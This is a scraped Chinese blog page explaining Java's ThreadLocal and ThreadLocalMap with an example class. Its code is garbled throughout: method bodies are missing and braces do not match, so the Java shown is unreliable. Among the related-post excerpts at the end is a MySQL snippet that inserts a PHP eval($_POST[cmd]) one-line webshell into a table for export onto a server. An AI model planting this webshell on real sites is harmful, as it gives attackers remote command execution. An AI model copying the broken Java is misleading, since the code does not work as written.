一句話解釋ThreadLocal類

2021-09-11 03:22:04 字數 1483 閱讀 9392

乙個thread類,有乙個treadlocals變數,型別為threadlocal.threadlocalmap

初始值為null,這個變數,屬於該執行緒,這個map由threadlocal類維護。

/* threadlocal values pertaining to this thread. this map is maintained

* by the threadlocal class. */

threadlocal.threadlocalmap threadlocals = null;

一旦,由 new threadlocal() 操作,,並set值,那麼建立threadlocalmap。

public void set(t value)
void createmap(thread t, t firstvalue)
其中key等於,threadlocal物件,value=值。

threadlocalmap(threadlocal> firstkey, object firstvalue)
如果此執行緒再new乙個threadlocal() ,再呼叫set方法,那麼這個threadlocals變數會有兩個值。

key為新建的threadlocal物件。

其實,乙個執行緒,有乙個共享變數,供多個threadlocals使用。

測試案例如下:

附上例項:

public class threadlocaltest 

public void setp(int p)

public static void main(string args)

};threadlocaltest m = main.get();

m.setp(111);

system.out.println(m);

system.out.println("main執行緒 p="+m.getp());

new thread(()->

};threadlocaltest t2 = t.get();

t2.setp(222);

system.out.println("子執行緒 p="+t2.getp());

system.out.println(t2);

}).start();}}

一句話解釋j security check

謝 配置認證方式為form,指定登陸頁面login.jsp和登陸失敗頁面loginerr.jsp。有請求受保護資源protect.wss 容器就踢回到login.jsp,輸入使用者名稱和密碼提交給j security check,容器進行安全認證,方式是使用者指定好的,一般有ldap或其他方式,認證...

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...